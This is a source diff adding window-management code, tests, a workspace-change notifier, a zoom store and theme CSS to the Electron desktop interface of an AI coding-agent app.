--- /dev/null
+++ b/ui-desktop/src/store/windows.test.ts
@@ -0,0 +1,160 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { canOpenNewWindow, canOpenSessionWindow, openNewWindow, openSessionInNewWindow } from './windows'
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+const initialClawCodexDesktop = desktopWindow.clawcodexDesktop
+
+const notifyError = vi.fn()
+
+vi.mock('./notifications', () => ({
+  notifyError: (...args: unknown[]) => notifyError(...args)
+}))
+
+function installBridge(
+  openSessionWindow?: Window['clawcodexDesktop']['openSessionWindow'],
+  openWindow?: Window['clawcodexDesktop']['openWindow']
+) {
+  desktopWindow.clawcodexDesktop = {
+    ...(openSessionWindow ? { openSessionWindow } : {}),
+    ...(openWindow ? { openWindow } : {})
+  } as unknown as Window['clawcodexDesktop']
+}
+
+beforeEach(() => {
+  notifyError.mockClear()
+})
+
+afterEach(() => {
+  if (initialClawCodexDesktop) {
+    desktopWindow.clawcodexDesktop = initialClawCodexDesktop
+  } else {
+    delete desktopWindow.clawcodexDesktop
+  }
+})
+
+describe('canOpenSessionWindow', () => {
+  it('is false when the desktop bridge is absent', () => {
+    delete desktopWindow.clawcodexDesktop
+    expect(canOpenSessionWindow()).toBe(false)
+  })
+
+  it('is false when the bridge lacks openSessionWindow', () => {
+    installBridge(undefined)
+    expect(canOpenSessionWindow()).toBe(false)
+  })
+
+  it('is true when the bridge exposes openSessionWindow', () => {
+    installBridge(vi.fn().mockResolvedValue({ ok: true }))
+    expect(canOpenSessionWindow()).toBe(true)
+  })
+})
+
+describe('openSessionInNewWindow', () => {
+  it('no-ops without a session id', async () => {
+    const open = vi.fn().mockResolvedValue({ ok: true })
+    installBridge(open)
+
+    await openSessionInNewWindow('')
+
+    expect(open).not.toHaveBeenCalled()
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('no-ops gracefully when the bridge is absent (web fallback)', async () => {
+    delete desktopWindow.clawcodexDesktop
+
+    await openSessionInNewWindow('s1')
+
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('invokes the bridge with the session id', async () => {
+    const open = vi.fn().mockResolvedValue({ ok: true })
+    installBridge(open)
+
+    await openSessionInNewWindow('s1')
+
+    expect(open).toHaveBeenCalledWith('s1', undefined)
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('forwards the watch flag for spectator (subagent) windows', async () => {
+    const open = vi.fn().mockResolvedValue({ ok: true })
+    installBridge(open)
+
+    await openSessionInNewWindow('s1', { watch: true })
+
+    expect(open).toHaveBeenCalledWith('s1', { watch: true })
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('notifies on an ok:false result', async () => {
+    installBridge(vi.fn().mockResolvedValue({ ok: false, error: 'invalid-session-id' }))
+
+    await openSessionInNewWindow('s1')
+
+    expect(notifyError).toHaveBeenCalledTimes(1)
+  })
+
+  it('notifies when the bridge throws', async () => {
+    installBridge(vi.fn().mockRejectedValue(new Error('boom')))
+
+    await openSessionInNewWindow('s1')
+
+    expect(notifyError).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('canOpenNewWindow', () => {
+  it('is false when the desktop bridge is absent', () => {
+    delete desktopWindow.clawcodexDesktop
+    expect(canOpenNewWindow()).toBe(false)
+  })
+
+  it('is false when the bridge lacks openWindow', () => {
+    installBridge(vi.fn().mockResolvedValue({ ok: true }))
+    expect(canOpenNewWindow()).toBe(false)
+  })
+
+  it('is true when the bridge exposes openWindow', () => {
+    installBridge(undefined, vi.fn().mockResolvedValue({ ok: true }))
+    expect(canOpenNewWindow()).toBe(true)
+  })
+})
+
+describe('openNewWindow', () => {
+  it('no-ops gracefully when the bridge is absent (web fallback)', async () => {
+    delete desktopWindow.clawcodexDesktop
+
+    await openNewWindow()
+
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('no-ops when openWindow is missing', async () => {
+    installBridge(vi.fn().mockResolvedValue({ ok: true }))
+
+    await openNewWindow()
+
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('invokes the bridge', async () => {
+    const openWindow = vi.fn().mockResolvedValue({ ok: true })
+    installBridge(undefined, openWindow)
+
+    await openNewWindow()
+
+    expect(openWindow).toHaveBeenCalledTimes(1)
+    expect(notifyError).not.toHaveBeenCalled()
+  })
+
+  it('notifies on an ok:false result', async () => {
+    installBridge(undefined, vi.fn().mockResolvedValue({ ok: false, error: 'nope' }))
+
+    await openNewWindow()
+
+    expect(notifyError).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/ui-desktop/src/store/windows.ts b/ui-desktop/src/store/windows.ts
new file mode 100644
index 000000000..74999e942
--- /dev/null
+++ b/ui-desktop/src/store/windows.ts
@@ -0,0 +1,103 @@
+import { notifyError } from './notifications'
+
+// Window flag set by the Electron main process when it opens a standalone
+// session window (see electron/main.ts buildSessionWindowUrl). It rides in the
+// query string BEFORE the HashRouter '#', so we read it from location.search,
+// never from the router. A "secondary" window renders a single chat without the
+// global session sidebar or the install / onboarding overlays.
+const SECONDARY_WINDOW_FLAG = 'secondary'
+
+let secondaryWindowCache: boolean | null = null
+
+export function isSecondaryWindow(): boolean {
+  if (secondaryWindowCache !== null) {
+    return secondaryWindowCache
+  }
+
+  let result = false
+
+  try {
+    result = new URLSearchParams(window.location.search).get('win') === SECONDARY_WINDOW_FLAG
+  } catch {
+    result = false
+  }
+
+  secondaryWindowCache = result
+
+  return result
+}
+
+let watchWindowCache: boolean | null = null
+
+// A "watch" window spectates a session that is being driven elsewhere (a
+// running subagent). It resumes lazily — the gateway registers history + a
+// transport for the live mirror without building an agent, so opening it is
+// cheap even while the backend is busy running the delegation.
+export function isWatchWindow(): boolean {
+  if (watchWindowCache !== null) {
+    return watchWindowCache
+  }
+
+  let result = false
+
+  try {
+    result = new URLSearchParams(window.location.search).get('watch') === '1'
+  } catch {
+    result = false
+  }
+
+  watchWindowCache = result
+
+  return result
+}
+
+// True when running inside the Electron desktop shell (the preload bridge is
+// present). The "open in new window" affordance is desktop-only.
+export function canOpenSessionWindow(): boolean {
+  return typeof window !== 'undefined' && typeof window.clawcodexDesktop?.openSessionWindow === 'function'
+}
+
+// True when the shell can open a full peer app window (⌘⇧N / "New Window").
+export function canOpenNewWindow(): boolean {
+  return typeof window !== 'undefined' && typeof window.clawcodexDesktop?.openWindow === 'function'
+}
+
+type WindowOpenResult = { ok: boolean; error?: string } | undefined
+
+// Run a window-open bridge call, surfacing any failure as a toast. Shared by the
+// session pop-out and the new-window opener.
+async function runWindowOpen(call: () => Promise<WindowOpenResult>, failMessage: string): Promise<void> {
+  try {
+    const result = await call()
+
+    if (!result?.ok) {
+      notifyError(new Error(result?.error || 'unknown error'), failMessage)
+    }
+  } catch (err) {
+    notifyError(err, failMessage)
+  }
+}
+
+// Open (or focus) a standalone OS window for a single chat session. No-ops
+// gracefully outside Electron so callers can wire it unconditionally.
+// `watch: true` opens a spectator window (lazy resume, live-mirror stream).
+export async function openSessionInNewWindow(sessionId: string, opts?: { watch?: boolean }): Promise<void> {
+  if (!sessionId || !canOpenSessionWindow()) {
+    return
+  }
+
+  await runWindowOpen(
+    () => window.clawcodexDesktop.openSessionWindow(sessionId, opts),
+    'Could not open chat in a new window'
+  )
+}
+
+// Open a new full-chrome app window — a peer instance of the primary that
+// renders the complete app against the shared backend. No-ops outside Electron.
+export async function openNewWindow(): Promise<void> {
+  if (!canOpenNewWindow()) {
+    return
+  }
+
+  await runWindowOpen(() => window.clawcodexDesktop.openWindow(), 'Could not open a new window')
+}
diff --git a/ui-desktop/src/store/working-ids-stored-id.test.ts b/ui-desktop/src/store/working-ids-stored-id.test.ts
new file mode 100644
index 000000000..f302385a4
--- /dev/null
+++ b/ui-desktop/src/store/working-ids-stored-id.test.ts
@@ -0,0 +1,32 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $workingSessionIds, clearAllSessionStates, publishSessionState } from '@/store/session-states'
+
+/**
+ * (C) The sidebar spinner reads `$workingSessionIds`, which projects
+ * `$sessionStates` down to STORED session ids and drops any entry whose
+ * `storedSessionId` is null. `message.start` flips `busy` without carrying a
+ * stored id, so a runtime that was never seeded with one goes busy invisibly:
+ * the backend works, the thread name stays bare.
+ */
+describe('$workingSessionIds — a busy runtime with no stored id', () => {
+  afterEach(() => {
+    clearAllSessionStates()
+  })
+
+  it('cannot show a spinner for a busy runtime that has no stored id', () => {
+    publishSessionState('runtime-unmapped', { ...createClientSessionState(null), busy: true })
+
+    // Documents the constraint rather than asserting the bug is fine: the
+    // projection is keyed by stored id, so an unmapped runtime is unreachable
+    // from the sidebar no matter how busy it is.
+    expect($workingSessionIds.get()).toEqual([])
+  })
+
+  it('shows the spinner as soon as the stored id is known', () => {
+    publishSessionState('runtime-mapped', { ...createClientSessionState('stored-x'), busy: true })
+
+    expect($workingSessionIds.get()).toEqual(['stored-x'])
+  })
+})
diff --git a/ui-desktop/src/store/workspace-events.ts b/ui-desktop/src/store/workspace-events.ts
new file mode 100644
index 000000000..4e75bf7b3
--- /dev/null
+++ b/ui-desktop/src/store/workspace-events.ts
@@ -0,0 +1,123 @@
+import { atom } from 'nanostores'
+
+// Event-driven "the working tree changed" signal — the smart replacement for
+// polling. The agent only mutates files by running a tool, so the message
+// stream's `tool.complete` (esp. ones carrying an inline_diff) is the precise
+// trigger. Surfaces that mirror the filesystem / git state — the coding rail,
+// the review pane, the file tree — subscribe to this tick and refresh, so they
+// move exactly when the agent acts and stay idle otherwise.
+
+export const $workspaceChangeTick = atom(0)
+
+// What changed since the last consume. The file tree targets `dirs` (surgical
+// subtree re-reads) and only falls back to a whole-tree rescan when `full` is
+// set — an opaque mutation (a terminal command, or a path we can't resolve to
+// the tree's absolute ids) whose touched paths we can't enumerate. Coarse
+// subscribers (coding rail, review) ignore this and just react to the tick.
+let pendingDirs = new Set<string>()
+let pendingFull = false
+
+/** Drain the accumulated change since the previous call (the tree's consumer). */
+export function consumeWorkspaceChange(): { dirs: string[]; full: boolean } {
+  const change = { dirs: [...pendingDirs], full: pendingFull }
+  pendingDirs = new Set()
+  pendingFull = false
+
+  return change
+}
+
+// Parent dir of an ABSOLUTE path (POSIX or `C:/…`); null for a relative path we
+// can't anchor to the tree — the caller treats null as "rescan to be safe".
+function dirOf(path: string): null | string {
+  const p = path.replace(/\\/g, '/').replace(/\/+$/, '')
+  const absolute = p.startsWith('/') || /^[a-z]:\//i.test(p)
+  const slash = p.lastIndexOf('/')
+
+  return absolute && slash >= 0 ? p.slice(0, slash) : null
+}
+
+// Throttle so a burst of edits in one turn coalesces: fire on the leading edge
+// for instant feedback, then at most once per window (a trailing fire catches
+// the last edit of the burst).
+const MIN_INTERVAL_MS = 500
+let lastFired = 0
+let trailing: null | ReturnType<typeof setTimeout> = null
+
+function fire(): void {
+  lastFired = Date.now()
+  $workspaceChangeTick.set($workspaceChangeTick.get() + 1)
+}
+
+/** @param changedPath absolute path a tool touched; omit (or pass a relative /
+ *  unknowable path) to force a full-tree rescan. */
+export function notifyWorkspaceChanged(changedPath?: string): void {
+  const dir = changedPath ? dirOf(changedPath) : null
+
+  if (dir) {
+    pendingDirs.add(dir)
+  } else {
+    pendingFull = true
+  }
+
+  const since = Date.now() - lastFired
+
+  if (since >= MIN_INTERVAL_MS) {
+    if (trailing) {
+      clearTimeout(trailing)
+      trailing = null
+    }
+
+    fire()
+  } else if (!trailing) {
+    trailing = setTimeout(() => {
+      trailing = null
+      fire()
+    }, MIN_INTERVAL_MS - since)
+  }
+}
+
+// Tool names that can touch the working tree (everything else — read_file,
+// search, web — never does, so it shouldn't trigger a refresh). NB: no bare
+// `file` token — it matched the read-only `read_file` / `search_files` /
+// `list_files`, firing a git probe on the single most common tool. Real file
+// writers carry a verb (`write_file`, `apply_patch`, …) or an inline_diff.
+const MUTATING_TOOL_RE =
+  /terminal|shell|exec|bash|command|write|edit|patch|replace|apply|create|delete|remove|move|rename|mkdir|format/i
+
+/** True when a finished tool may have changed files (carries a diff, or its
+ *  name implies a filesystem/terminal mutation). */
+export function toolMayMutateFiles(payload: { name?: unknown; tool?: unknown; inline_diff?: unknown }): boolean {
+  if (typeof payload.inline_diff === 'string' && payload.inline_diff.trim()) {
+    return true
+  }
+
+  const name = String(payload.name ?? payload.tool ?? '')
+
+  return MUTATING_TOOL_RE.test(name)
+}
+
+// Common arg keys a single-file writer/mover uses for its target. A hit lets the
+// tree target that dir; a miss (terminal, multi-path, odd schema) → full rescan.
+const PATH_ARG_KEYS = ['path', 'file_path', 'filename', 'file', 'target_file', 'new_path', 'dest', 'destination']
+
+/** Best-effort absolute path a finished tool touched, from its args — or
+ *  undefined (→ full rescan) for terminal/opaque/multi-path mutations. */
+export function toolChangedPath(payload: { args?: unknown; arguments?: unknown }): string | undefined {
+  const args = payload.args ?? payload.arguments
+
+  if (!args || typeof args !== 'object') {
+    return undefined
+  }
+
+  const record = args as Record<string, unknown>
+
+  for (const key of PATH_ARG_KEYS) {
+    const value = record[key]
+
+    if (typeof value === 'string' && value.trim()) {
+      return value.trim()
+    }
+  }
+
+  return undefined
+}
diff --git a/ui-desktop/src/store/zoom.ts b/ui-desktop/src/store/zoom.ts
new file mode 100644
index 000000000..879822957
--- /dev/null
+++ b/ui-desktop/src/store/zoom.ts
@@ -0,0 +1,24 @@
+/**
+ * Window text size (zoom).
+ *
+ * The main process owns the zoom level and persists it (see electron/zoom.ts
+ * for the scale). The renderer only mirrors the current percent for the
+ * settings UI: preset clicks go to the main process over IPC, and every
+ * change comes back through onChanged, including ones made with the
+ * Ctrl/Cmd +/-/0 shortcuts or the View menu, so the UI never drifts.
+ */
+
+import { atom } from 'nanostores'
+
+// Mirror DEFAULT_ZOOM_LEVEL (90%) so Appearance doesn't flash 100% before
+// the main-process zoom.get() resolves. Keep in sync with electron/zoom.ts.
+export const $zoomPercent = atom<number>(90)
+
+export function setZoomPercent(percent: number): void {
+  window.clawcodexDesktop?.zoom?.setPercent(percent)
+}
+
+if (typeof window !== 'undefined' && window.clawcodexDesktop?.zoom) {
+  void window.clawcodexDesktop.zoom.get().then(({ percent }) => $zoomPercent.set(percent))
+  window.clawcodexDesktop.zoom.onChanged(({ percent }) => $zoomPercent.set(percent))
+}
diff --git a/ui-desktop/src/styles.css b/ui-desktop/src/styles.css
new file mode 100644
index 000000000..2ee38e0b6
--- /dev/null
+++ b/ui-desktop/src/styles.css
@@ -0,0 +1,2266 @@
+@import 'tailwindcss';
+@plugin '@tailwindcss/typography';
+@import 'tw-shimmer';
+@import 'katex/dist/katex.min.css';
+@import '@vscode/codicons/dist/codicon.css';
+@custom-variant dark (&:is(.dark *));
+
+/* Blanket reduced-motion override: kill ALL CSS animations and transitions
+   when the user (or the E2E test harness via prefers-reduced-motion) requests
+   it. Per-component @media rules below handle specific cases; this catches
+   everything else so overlays and loading bars resolve instantly instead of
+   being caught mid-fade by a screenshot. */
+@media (prefers-reduced-motion: reduce) {
+  *,
+  *::before,
+  *::after {
+    animation-duration: 0.01ms !important;
+    animation-iteration-count: 1 !important;
+    transition-duration: 0.01ms !important;
+    scroll-behavior: auto !important;
+  }
+}
+
+/* Sidebar sections: tall viewports give each its own scroller; compact ones
+   (this variant) flatten everything into one shared scroll. See ChatSidebar. */
+@custom-variant compact (@media (max-height: 768px));
+
+@font-face {
+  font-family: 'Collapse';
+  font-style: normal;
+  font-weight: 700;
+  font-display: swap;
+  src: url('../../../node_modules/@nous-research/ui/dist/fonts/Collapse-Bold.woff2') format('woff2');
+}
+
+/* JetBrains Mono — bundled terminal font (Apache-2.0) so bold/italic share the
+   regular face's metrics instead of squeezing against a system fallback. */
+@font-face {
+  font-family: 'JetBrains Mono';
+  font-style: normal;
+  font-weight: 400;
+  font-display: swap;
+  src: url('./fonts/JetBrainsMono-Regular.woff2') format('woff2');
+}
+@font-face {
+  font-family: 'JetBrains Mono';
+  font-style: normal;
+  font-weight: 700;
+  font-display: swap;
+  src: url('./fonts/JetBrainsMono-Bold.woff2') format('woff2');
+}
+@font-face {
+  font-family: 'JetBrains Mono';
+  font-style: italic;
+  font-weight: 400;
+  font-display: swap;
+  src: url('./fonts/JetBrainsMono-Italic.woff2') format('woff2');
+}
+
+@theme inline {
+  --color-background: var(--dt-background);
+  --color-foreground: var(--dt-foreground);
+  --color-card: var(--dt-card);
+  --color-card-foreground: var(--dt-card-foreground);
+  --color-muted: var(--dt-muted);
+  --color-muted-foreground: var(--dt-muted-foreground);
+  --color-popover: var(--dt-popover);
+  --color-popover-foreground: var(--dt-popover-foreground);
+  --color-primary: var(--dt-primary);
+  --color-primary-foreground: var(--dt-primary-foreground);
+  --color-secondary: var(--dt-secondary);
+  --color-secondary-foreground: var(--dt-secondary-foreground);
+  --color-accent: var(--dt-accent);
+  --color-accent-foreground: var(--dt-accent-foreground);
+  --color-border: var(--dt-border);
+  --color-input: var(--dt-input);
+  --color-ring: var(--dt-ring);
+  --color-destructive: var(--dt-destructive);
+  --color-destructive-foreground: var(--dt-destructive-foreground);
+
+  --color-midground: var(--dt-midground);
+  --color-midground-foreground: var(--dt-midground-foreground);
+
+  --font-sans: var(--dt-font-sans);
+  --font-mono: var(--dt-font-mono);
+
+  --spacing-mul: var(--dt-spacing-mul, 1);
+
+  --radius-xs: calc(var(--radius-scalar) * 0.125rem);
+  --radius-sm: calc(var(--radius-scalar) * 0.5rem);
+  --radius-md: calc(var(--radius-scalar) * 0.625rem);
+  --radius-lg: calc(var(--radius-scalar) * 0.75rem);
+  --radius-xl: calc(var(--radius-scalar) * 1rem);
+  --radius-2xl: calc(var(--radius-scalar) * 1.5rem);
+  --radius-3xl: calc(var(--radius-scalar) * 2rem);
+  --radius-4xl: calc(var(--radius-scalar) * 2.5rem);
+
+  --color-sidebar-ring: var(--sidebar-ring);
+  --color-sidebar-border: var(--sidebar-border);
+  --color-sidebar-accent-foreground: var(--sidebar-accent-foreground);
+  --color-sidebar-accent: var(--sidebar-accent);
+  --color-sidebar-primary-foreground: var(--sidebar-primary-foreground);
+  --color-sidebar-primary: var(--sidebar-primary);
+  --color-sidebar-foreground: var(--sidebar-foreground);
+  --color-sidebar: var(--sidebar);
+
+  --shadow-xs: 0 0.0625rem 0.125rem color-mix(in srgb, #000 5%, transparent);
+  --shadow-sm:
+    0 0 0 0.0625rem color-mix(in srgb, var(--dt-foreground) 6%, transparent),
+    0 0.125rem 0.5rem color-mix(in srgb, #000 4%, transparent);
+  --shadow-md:
+    0 0 0 0.0625rem color-mix(in srgb, var(--dt-foreground) 8%, transparent),
+    0 0.25rem 1rem color-mix(in srgb, #000 8%, transparent),
+    0 1rem 2rem -1.5rem color-mix(in srgb, #000 18%, transparent);
+  /* Soft floating shadow for borderless modals/overlays. Single top light
+     source: every layer is centered (x=0) and cast downward, with negative
+     spread that grows with the blur so each layer is pulled horizontally inward
+     — the shadow pools below the panel instead of bleeding out every side.
+     Layered (contact → ambient) for a smooth, natural falloff. */
+  --shadow-nous:
+    0 0.125rem 0.25rem -0.125rem color-mix(in srgb, #000 7%, transparent),
+    0 0.5rem 0.75rem -0.375rem color-mix(in srgb, #000 6%, transparent),
+    0 1.25rem 1.75rem -0.875rem color-mix(in srgb, #000 6%, transparent),
+    0 2.25rem 3rem -1.75rem color-mix(in srgb, #000 0%, transparent);
+  /* Hairline border paired with --shadow-nous on borderless overlays.
+     currentColor resolves per-element, so it adapts to text color/theme. */
+  --stroke-nous: color-mix(in srgb, currentColor 3%, transparent);
+  --shadow-lg:
+    inset 0 0.0625rem 0 color-mix(in srgb, #fff 28%, transparent),
+    0 0 0 0.0625rem color-mix(in srgb, var(--dt-foreground) 8%, transparent),
+    0 0.75rem 2rem color-mix(in srgb, #000 12%, transparent);
+  --shadow-composer: 0 0.0625rem 0.125rem color-mix(in srgb, #000 5%, transparent);
+}
+
+@layer base {
+  :root {
+    color-scheme: light;
+
+    --theme-foreground: #17171a;
+    --theme-primary: #0053fd;
+    --theme-secondary: color-mix(in srgb, #0053fd 7%, #ffffff);
+    --theme-accent-soft: color-mix(in srgb, #0053fd 10%, #ffffff);
+    --theme-midground: #0053fd;
+    --theme-warm: #cf806d;
+    --theme-background-seed: #f8faff;
+    --theme-sidebar-seed: #f3f7ff;
+    --theme-card-seed: #ffffff;
+    --theme-elevated-seed: #ffffff;
+    --theme-bubble-seed: color-mix(in srgb, #0053fd 6%, #ffffff);
+    --theme-neutral-chrome: #f3f3f3;
+    --theme-neutral-sidebar: #f3f3f3;
+    --theme-neutral-card: #fcfcfc;
+    --theme-mix-chrome: 92%;
+    --theme-mix-sidebar: 100%;
+    --theme-mix-card: 22%;
+    --theme-mix-elevated: 28%;
+    --theme-mix-bubble: 0%;
+    --theme-fill-primary-accent-mix: 16%;
+    --theme-fill-secondary-accent-mix: 11%;
+    --theme-fill-tertiary-accent-mix: 8%;
+    --theme-fill-quaternary-accent-mix: 5%;
+    --theme-fill-quinary-accent-mix: 3%;
+    --theme-stroke-primary-accent-mix: 24%;
+    --theme-stroke-secondary-accent-mix: 16%;
+    --theme-stroke-tertiary-accent-mix: 10%;
+    --theme-stroke-quaternary-accent-mix: 6%;
+    --theme-row-hover-accent-mix: 4%;
+    --theme-row-active-accent-mix: 8%;
+    --theme-control-hover-accent-mix: 6%;
+    --theme-control-active-accent-mix: 8%;
+
+    --ui-base: var(--theme-foreground);
+    --ui-accent: var(--theme-midground);
+    --ui-accent-secondary: var(--theme-primary);
+    --ui-warm: var(--theme-warm);
+    --ui-red: #cf2d56;
+    --ui-orange: #db704b;
+    --ui-yellow: #c08532;
+    --ui-green: #1f8a65;
+    --ui-cyan: #4c7f8c;
+    --ui-blue: #0053fd;
+    --ui-purple: #9e94d5;
+    --context-usage-system: color-mix(in srgb, var(--ui-base) 55%, transparent);
+    --context-usage-tools: var(--ui-purple);
+    --context-usage-rules: var(--ui-green);
+    --context-usage-skills: var(--ui-yellow);
+    --context-usage-mcp: color-mix(in srgb, var(--ui-red) 72%, var(--ui-purple));
+    --context-usage-subagents: color-mix(in srgb, var(--ui-blue) 70%, var(--ui-cyan));
+    --context-usage-memory: color-mix(in srgb, var(--ui-orange) 80%, var(--ui-yellow));
+    --context-usage-conversation: var(--ui-cyan);
+    /* Landed memory-write tool row — gold → purple, never amber warning. */
+    --tool-memory-legendary-from: color-mix(in srgb, var(--ui-yellow) 72%, #f5d08a);
+    --tool-memory-legendary-mid: color-mix(in srgb, var(--ui-orange) 55%, var(--ui-purple));
+    --tool-memory-legendary-to: color-mix(in srgb, var(--ui-purple) 82%, #c4b5fd);
+    --tool-memory-legendary-icon: color-mix(in srgb, var(--ui-yellow) 55%, var(--ui-purple));
+    --tool-memory-legendary-meta: color-mix(in srgb, var(--ui-purple) 58%, var(--ui-text-tertiary));
+    --tool-memory-legendary-glow: color-mix(in srgb, var(--ui-purple) 38%, transparent);
+    /* Diff add/remove, derived from the semantic palette so every diff surface
+       (tool cards, preview, review pane) tracks the theme's green/red. Only the
+       foregrounds need a dark override — they mix toward the page instead of
+       away from it. */
+    --ui-diff-add-border: var(--ui-green);
+    --ui-diff-add-background: color-mix(in srgb, var(--ui-green) 12%, transparent);
+    --ui-diff-add-foreground: color-mix(in srgb, var(--ui-green) 70%, #000);
+    --ui-diff-remove-border: var(--ui-red);
+    --ui-diff-remove-background: color-mix(in srgb, var(--ui-red) 12%, transparent);
+    --ui-diff-remove-foreground: color-mix(in srgb, var(--ui-red) 70%, #000);
+
+    /* Overlay ladder. DESIGN.md: app-wide surfaces must not compete through
+       ad-hoc z-index literals — pick the rung that describes the surface.
+       Values are deliberately sparse so a one-off can slot between two rungs
+       without a renumber. Local stacking inside a component (a sticky header
+       over its own scroll area) stays on plain `z-10`/`z-20`; these rungs are
+       only for surfaces that float over the app. */
+    --z-modal-backdrop: 120;
+    --z-modal: 130;
+    /* A select/dropdown/popover opened from inside a modal, portaled to body. */
+    --z-modal-popover: 140;
+    /* Must clear any open modal: toasts, tooltips, command-surface backdrops. */
+    --z-over-modal: 200;
+    --z-over-modal-content: 210;
+    --z-switcher-backdrop: 219;
+    --z-switcher: 220;
+    /* Boot and blocking states, in the order they can stack. */
+    --z-connecting: 1200;
+    --z-onboarding: 1300;
+    --z-onboarding-popover: 1310;
+    --z-setup: 1400;
+    --z-crash: 1500;
+    --ui-bg-chrome: color-mix(
+      in srgb,
+      var(--theme-background-seed) var(--theme-mix-chrome),
+      var(--theme-neutral-chrome)
+    );
+    --ui-bg-sidebar: color-mix(
+      in srgb,
+      var(--theme-sidebar-seed) var(--theme-mix-sidebar),
+      var(--theme-neutral-sidebar)
+    );
+    --ui-bg-editor: color-mix(in srgb, var(--theme-card-seed) var(--theme-mix-card), var(--theme-neutral-card));
+    --ui-bg-elevated: color-mix(
+      in srgb,
+      var(--theme-elevated-seed) var(--theme-mix-elevated),
+      var(--theme-neutral-card)
+    );
+    --ui-bg-card: color-mix(in srgb, var(--ui-accent) 4%, color-mix(in srgb, var(--ui-base) 4%, transparent));
+    --ui-bg-input: #fcfcfc;
+    --ui-bg-primary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-fill-primary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 10%, transparent)
+    );
+    --ui-bg-secondary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-fill-secondary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 7%, transparent)
+    );
+    --ui-bg-tertiary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-fill-tertiary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 5%, transparent)
+    );
+    --ui-bg-quaternary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-fill-quaternary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 4%, transparent)
+    );
+    --ui-bg-quinary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-fill-quinary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 3%, transparent)
+    );
+    --ui-row-hover-background: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-row-hover-accent-mix),
+      color-mix(in srgb, var(--ui-base) 3%, transparent)
+    );
+    --ui-row-active-background: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-row-active-accent-mix),
+      color-mix(in srgb, var(--ui-base) 5%, transparent)
+    );
+    --ui-control-hover-background: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-control-hover-accent-mix),
+      color-mix(in srgb, var(--ui-base) 4%, transparent)
+    );
+    --ui-control-active-background: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-control-active-accent-mix),
+      color-mix(in srgb, var(--ui-base) 5%, transparent)
+    );
+    --ui-text-primary: color-mix(in srgb, var(--ui-base) 94%, transparent);
+    --ui-text-secondary: color-mix(in srgb, var(--ui-base) 74%, transparent);
+    --ui-text-tertiary: color-mix(in srgb, var(--ui-base) 54%, transparent);
+    --ui-text-quaternary: color-mix(in srgb, var(--ui-base) 36%, transparent);
+    /* Transcript scaffolding — thinking headers, settled tool runs, the live
+       activity ticker. One colour for all of them (see `ScaffoldRow`), pitched
+       between the secondary and tertiary greys those lines used to pick
+       individually, and dimmed once more by the fade rule below so the prose
+       reading column stays primary. */
+    --conversation-scaffold-text: color-mix(in srgb, var(--ui-base) 64%, transparent);
+    --conversation-scaffold-meta: color-mix(in srgb, var(--ui-base) 44%, transparent);
+    --ui-stroke-primary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-stroke-primary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 10%, transparent)
+    );
+    --ui-stroke-secondary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-stroke-secondary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 7%, transparent)
+    );
+    --ui-stroke-tertiary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-stroke-tertiary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 5%, transparent)
+    );
+    --ui-stroke-quaternary: color-mix(
+      in srgb,
+      var(--ui-accent) var(--theme-stroke-quaternary-accent-mix),
+      color-mix(in srgb, var(--ui-base) 3%, transparent)
+    );
+    --ui-sash-hover-border: color-mix(in srgb, var(--ui-accent) 18%, var(--ui-stroke-tertiary));
+    --ui-sash-hover-background: color-mix(in srgb, var(--ui-accent) 6%, transparent);
+    --ui-surface-background: var(--ui-bg-editor);
+    --ui-sidebar-surface-background: var(--ui-bg-sidebar);
+    --ui-chat-surface-background: var(--ui-bg-chrome);
+    --ui-editor-surface-background: var(--ui-bg-chrome);
+    /* The integrated terminal wears the transcript's background, not the
+       editor's — it reads as part of the conversation surface. Its own token so
+       the two can diverge without dragging the terminal along, and so a skin
+       gets one knob for it. xterm's canvas can't use a var, so the probe in
+       terminal/selection.ts resolves this same name to a concrete rgb. */
+    --ui-terminal-surface-background: var(--ui-chat-surface-background);
+    /* Inline chat widgets (clarify, artifact card) — the card fill in light
+       mode, nudged down in dark so a widget settles into the transcript
+       instead of glowing above it (see the `.dark` override). */
+    --ui-widget-surface-background: var(--ui-bg-editor);
+    --ui-chat-bubble-background: color-mix(
+      in srgb,
+      var(--theme-bubble-seed) var(--theme-mix-bubble),
+      var(--theme-neutral-card)
+    );
+    --ui-chat-bubble-opaque-background: var(--ui-bg-editor);
+    --ui-inline-code-background: color-mix(in srgb, #141414 5%, transparent);
+    --ui-inline-code-foreground: color-mix(in srgb, #141414 88%, transparent);
+    --ui-selection-background: color-mix(in srgb, #ffd24a 55%, transparent);
+
+    --dt-background: var(--ui-bg-chrome);
+    --dt-foreground: var(--ui-text-primary);
+    --dt-card: var(--ui-bg-editor);
+    --dt-card-foreground: var(--ui-text-primary);
+    --dt-muted: var(--ui-bg-tertiary);
